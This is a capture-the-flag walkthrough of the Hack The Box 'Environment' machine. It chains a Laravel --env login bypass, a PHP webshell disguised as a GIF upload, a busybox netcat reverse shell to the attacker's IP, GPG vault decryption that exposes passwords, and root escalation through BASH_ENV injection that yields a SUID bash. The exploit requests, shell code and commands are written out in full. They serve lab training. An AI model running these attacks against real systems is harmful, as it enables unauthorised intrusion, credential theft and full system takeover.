20 KiB
HTB: Environment
About Environment
Environment is a medium-difficulty Linux machine. The initial foothold involves exploiting CVE-2024-52301, which allows environment manipulation through an --env parameter, bypassing the login functionality. From the management dashboard, CVE-2024-2154 is exploited to upload a PHP webshell embedded inside a profile image, giving the player a foothold through command execution. On the compromised system, exposed GPG keys can be found along with an encrypted backup. The decrypted data contains valid user passwords, enabling SSH access. Privilege escalation is achieved by leveraging sudo permissions. The user is allowed to execute a script with elevated privileges. Although the script itself is harmless, the BASH_ENV environment variable is preserved while increasing privileges, which allows execution of arbitrary commands as root.
Environment lab link: https://app.hackthebox.com/machines/659
Initial Reconnaissance
First thing I like to do is scan target with nmap for open ports and reveal what technology is used on machine:
nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
| 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open http syn-ack nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan reveals ssh and http ports open. SSH has 9.2p1 version and HTTP backend is nginx 1.22.1 version. SSH version is vulnerable to CVE-2024-6387 (regreSSHion) but I don't think this is the path for exploitation yet, because to exploit this vulnerability we would need to wait for about 6-8 hours to obtain a remote shell. I think I can do it faster ;)
It has domain name of environment.htb that we need to add to our /etc/hosts file to access the web app.
echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts
Website on port 80
After accessing http://environment.htb/ we land on a simple website:
After looking at website and its source code I noticed that mailing list has some working functionality which is unusual for these types of labs. There is also CSRF token in input tag that we can decode via base64:
<input type="hidden" name="_token" value="eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" autocomplete="off">
echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d
yJ)E5-GT+*R
But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in BurpSuite.
To fuzz for subdomains I'll use ffuf with wordlist from seclists:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://FUZZ.environment.htb/"
Didn't find any subdomains. Let's check for hidden directories:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://environment.htb/FUZZ"
build [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
index.php [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 432ms]
login [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 520ms]
logout [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 477ms]
node_modules/.package-lock.json [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 46ms]
mailing [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 5556ms]
robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 50ms]
storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
up [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 1204ms]
vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms]
I found some interesting endpoints, like login, upload, storage, mailing.
Trying to access http://environment.htb/upload or http://environment.htb/mailing reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints
That error page also reveals some internal backend codebase which means the application is running in debug mode:
Using Wappalyzer extension in browser I can confirm that website uses PHP and Laravel.
Vulnerability Research & Exploitation
After checking vulnerabilities for Laravel framework I found this high rated CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-52301
But for now it seems useless, since our application is already in debugging state.
Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, CVE-2024-13918 but it is not useful for our case here since we don't have a victim to target.
Login endpoint
If we'll modify any params in POST request body on http://environment.htb/login we'll get different errors depending on parameters that we changed:
After removing any value from remember parameter in request body, backend reveals some additional application environment, preprod designed to be used by developer:
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
Backdoor that was left by the devs
Oopsie, seems like dev himself left backdoor for us! Thats very nice of them
Now we can connect our CVE-2024-52301 to change environment to preprod and access endpoint (/management/dashboard) of the website we should not be able to.
By following this PoC we can add ?--env=preprod as a parameter in the end of the login POST request to activate preprod environment:
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
Content-Length: 132
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://environment.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://environment.htb/login
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6InRvSkEzL3hQcE1aMHBLUVVVQ0xWc3c9PSIsInZhbHVlIjoiaHlIY3ErT1V3aGxwcktVOWt5SXg4TFVJczVrNXJrV1prMGh5MW9JbC93L3hpTnJhem1CVnc5dEMybHJXOFhoYUx3TEl5VjlZYncwUHcweEtlMEdMME1uZHBqVEtWdGc0akIra2VpZXQrWGlmRW0xOStXcTVSZUx4WFBaQXhwTVciLCJtYWMiOiJiNzg0N2E1ODc4MWNlNmRlYzcwM2VmMTU2MWE4YzU0NjEzNTkzODgxOWNmNTUzMDQwOWYwNWViNzBlZWI2NDhlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImowRjRqQmhQQUZXVHJuSEhuWDYvaWc9PSIsInZhbHVlIjoiakVvWG1qVFFyUlQyV3NITFhKOUliVDlhdW1jTGlHdHRrYUpYTW5XdG0wT3paa09GejQzM3ZyMHhURm1GU3d3Q1JKYmhaWXY5R1ZKTmdvRWVtQXRiTFNWTytnK2l3M3E2dUhBWE1kc3I3OWsraHVER3poMWFLYWFlSENvS0tKZWIiLCJtYWMiOiI2OTYzM2U1OGViMjBmODBmNzQzMGQ4MTdhNGY1OWQ0NGZmM2JiOGExMzM5MTUwZTgxZDgwYmYwODNlOWNmOGFjIiwidGFnIjoiIn0%3D
Connection: keep-alive
_token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False
After sending request in Burp we need to click on Show response in browser to be redirected to environment.htb/management/dashboard
Basically there is one dev account we are being logged as: hish@environment.htb
And the only functionality there is to upload a profile image by sending POST request to environment.htb/upload endpoint.
File Upload Bypass
Trying to upload a plain PHP shell won't work, because backend checks for 'magic bytes' inside file contents to check if file is an actual image or not.
So we need to find a way to bypass these checks and somehow upload a shell
Shell upload
I will use this site with a variety of remote shells for different languages: https://www.revshells.com/ In this case, since the site runs on PHP, I chose the following:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Backend probably has bad regex check on filename parameter, because I could upload a file named as index.gif.php. with the dot in the end, PHP cmd shell inside and magic bytes in request to bypass MIME type checking.
To bypass the magic bytes check, simply add the string GIF87a before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and gets converted to the usual index.gif.php.
POST /upload HTTP/1.1
Host: environment.htb
Content-Length: 680
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyqgqevjtjeuKysRj
Accept: */*
Origin: http://environment.htb
Referer: http://environment.htb/management/profile
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6InpRTit5azYwcm1kcnl3SUgxVUlqa2c9PSIsInZhbHVlIjoiTytCOG9rclVwNkdVdDVQQnVoVEVTelRJZVpKK1pHb2k2UzlvWEIrekw3YzhjNTRKNDFBYkU2Q0tRbnZhRkVncjQwN1NxWU4wV0FhL0E3RjM2dWdaTTFsT1EvT1lXcXplR3BmMTRGWDdXb3ZuMmhlS2U4bjFvOTNHMk51S01PLzQiLCJtYWMiOiI0MmM3MjczZjkxYjA5ZTRiNmM4ZWJjNDFiNWY2ODE2MzI4YWI5NzYzNmU0YjJiZDBkOTEyY2JhYmFlNDIxNDUyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJZaWFGWFBKRk80ZGkycXVVRXhpK2c9PSIsInZhbHVlIjoidlp0SEpSdGFkeTJkYnRETzNGc0Q4MkgwTzFhSWpTYXNzWVdmU3lHK3A0WHEwQUpkZ1dkSzNPM2E2RmZoVkZZZnZNZnFqWjcxNmR3emxTSXF3N2E0YWJNVndxazhuY081NUpPeWpFcW1MMU5FSVp5WW9RVGFjcCtJK0wzOUYydmciLCJtYWMiOiIxMWVjZmM1NTM5NWI0ZGMzMDhlMTM2YTkwNjZhNTI4Y2FjMGEyOGVmZDFkNTBiYWQxNTAyZmViNTAwMDliODFiIiwidGFnIjoiIn0%3D
Connection: keep-alive
------WebKitFormBoundaryyqgqevjtjeuKysRj
Content-Disposition: form-data; name="_token"
U55EcHxTJCO0cvMScKzD20VSsKYd9oLV8lNhKtn9
------WebKitFormBoundaryyqgqevjtjeuKysRj
Content-Disposition: form-data; name="upload"; filename="index.gif.php."
Content-Type: image/jpeg
GIF87a
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
------WebKitFormBoundaryyqgqevjtjeuKysRj--
From the image above:
- Modify filename to
index.gif.php. - Send a PHP cmd payload with magic bytes in the start of the file to bypass GIF MIME type checking
- Backend parses it as a gif and shows that my PHP cmd shell is at
http://environment.htb/storage/files/index.gif.php.
Now we have RCE on the target. So to get fully functional reverse shell we need:
Getting Reverse Shell
-
In our terminal:
rlwrap nc -lvnp 1337 -
On our uploaded PHP cmd shell send any reverse shell for linux system pointing to our IP:
busybox nc 10.10.14.53 1337 -e sh
- I like to get a persistent interactive shell that won't drop connection after some time, so I'll use this set of commands after getting reverse connection on our machine:
# After getting a reverse connection on netcat python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm-256color export TERM=xterm # Now press Ctrl+Z stty raw -echo ; fg ; reset stty columns 200 rows 200
User Privilege Escalation
When we get a reverse shell, we're logged as user www-data on system, which is used on Linux systems by web servers like Apache/Nginx to host web applications.
So to map out our next steps we'll look for available users on server:
www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
After looking at /etc/passwd (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root:
www-data -> hish -> root
Recon as www-data
To get started we would need to check for any critical files that can contain information about hish password (like logs, databases).
After some digging, I found database.sqlite in /var/www/app/database:
www-data@environment:~/app/database$ sqlite3 database.sqlite
sqlite3 database.sqlite
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
cache jobs sessions
cache_locks mailing_list users
failed_jobs migrations
job_batches password_reset_tokens
sqlite> select * from users;
select * from users;
1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-01-12 01:01:48|hish.png
2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png
3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png
sqlite>
We see hashed password of our hish user we could try to crack using hashcat:
~/HackTheBox/environment > echo '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi' > hish_hash.txt
~/HackTheBox/environment > hashid hish_hash.txt
--File 'hish_hash.txt'--
Analyzing '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'hish_hash.txt'--%
~/HackTheBox/environment > hashcat hish_hash.txt -m 3200 /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
But that won't work and take a lot of time and actually isn't needed to get hish's password because we have access to hish's home directory to read all files inside
Decrypting hish's GPG keyvault
www-data@environment:~$ ls -la /home/hish
ls -la /home/hish
total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12 2025 ..
lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish 220 Jan 6 2025 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 2025 .bashrc
drwxr-xr-x 4 hish hish 4096 Sep 5 17:46 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan 6 2025 .local
-rw-r--r-- 1 hish hish 807 Jan 6 2025 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup
-rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt
Looking at backup directory we see keyvault.gpg file that we can try to decrypt using GPG. But we will fail to do so when simply trying to decrypt it using gpg -d keyvault.gpg:
www-data@environment:/home/hish$ ls -la backup/
ls -la backup/
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish 430 Sep 5 17:48 keyvault.gpg
www-data@environment:/home/hish$ cd backup
cd backup
www-data@environment:/home/hish/backup$ gpg -d keyvault.gpg
gpg -d keyvault.gpg
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
because we don't have permission to create files as www-data user in /var/www.
So we'll need to copy keyvault.gpg and hish's .gnupg directory with their private keys to directory we have write permissions to. I'll use /tmp for this
Also, for gpg to know that it needs to use private keys from our copied directory we need to pass --homedir /tmp/.gnupg parameter:
www-data@environment:$ cd /tmp
www-data@environment:/tmp$ cp -r /home/hish/.gnupg . && cd .gnupg
www-data@environment:/tmp/.gnupg$ ls
openpgp-revocs.d pubring.kbx random_seed
private-keys-v1.d pubring.kbx~ trustdb.gpg
www-data@environment:/tmp/.gnupg$ cp /home/hish/backup/keyvault.gpg .
www-data@environment:/tmp/.gnupg$ gpg --homedir /tmp/.gnupg -d keyvault.gpg
gpg --homedir /tmp/.gnupg -d keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
here are the passwords, we can use the second one to login as hish user:
www-data@environment:/home/hish/backup$ su hish
su hish
Password: marineSPm@ster!!
hish@environment:~/backup$
hish@environment:~/backup$ ls -la
ls -la
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish 430 Sep 5 17:56 keyvault.gpg
hish@environment:~/backup$
hish@environment:~/backup$ id
id
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
Root Privilege Escalation
We're in! First thing I check when I get a user on a system is to see what programs I can run with sudo using sudo -l:
Looing at sudo -l output we can see, that there's some systeminfo program that we can execute with root priviliges
That program is actually a simple bash script:
hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -h
Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking sudo -l again, I see that I missed crucial env_keep+="ENV BASH_ENV" inside. tl;dr it means that we can overwrite bash's internal environment variable, so when we call for /usr/bin/systeminfo we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary.
BASH_ENV
Searching web for BASH_ENV gives us this explanation:
```
BASH_ENV is an environment variable in Unix-like systems that
specifies the file to be executed when a non-interactive shell is started.
It allows users to set up a specific environment for scripts
or commands run in that shell.
```
Exploit
Now to get root, we'll need to create our own shell script that will copy bash binary with root privileges and then pass this script in BASH_ENV variable:
hish@environment:~$ cat > /tmp/root.sh << 'EOF'
cp /bin/bash /tmp/root-bash
chmod +s /tmp/root-bash
EOF
hish@environment:~$ chmod +x /tmp/root.sh
hish@environment:~$ sudo BASH_ENV=/tmp/root.sh systeminfo && /tmp/root-bash -p
--- systeminfo output ---
root-bash-5.2# cd /root
root-bash-5.2# whoami
root
root-bash-5.2# cat root.txt
********************************
root-bash-5.2#
Thats it! We successfully got root shell on system!












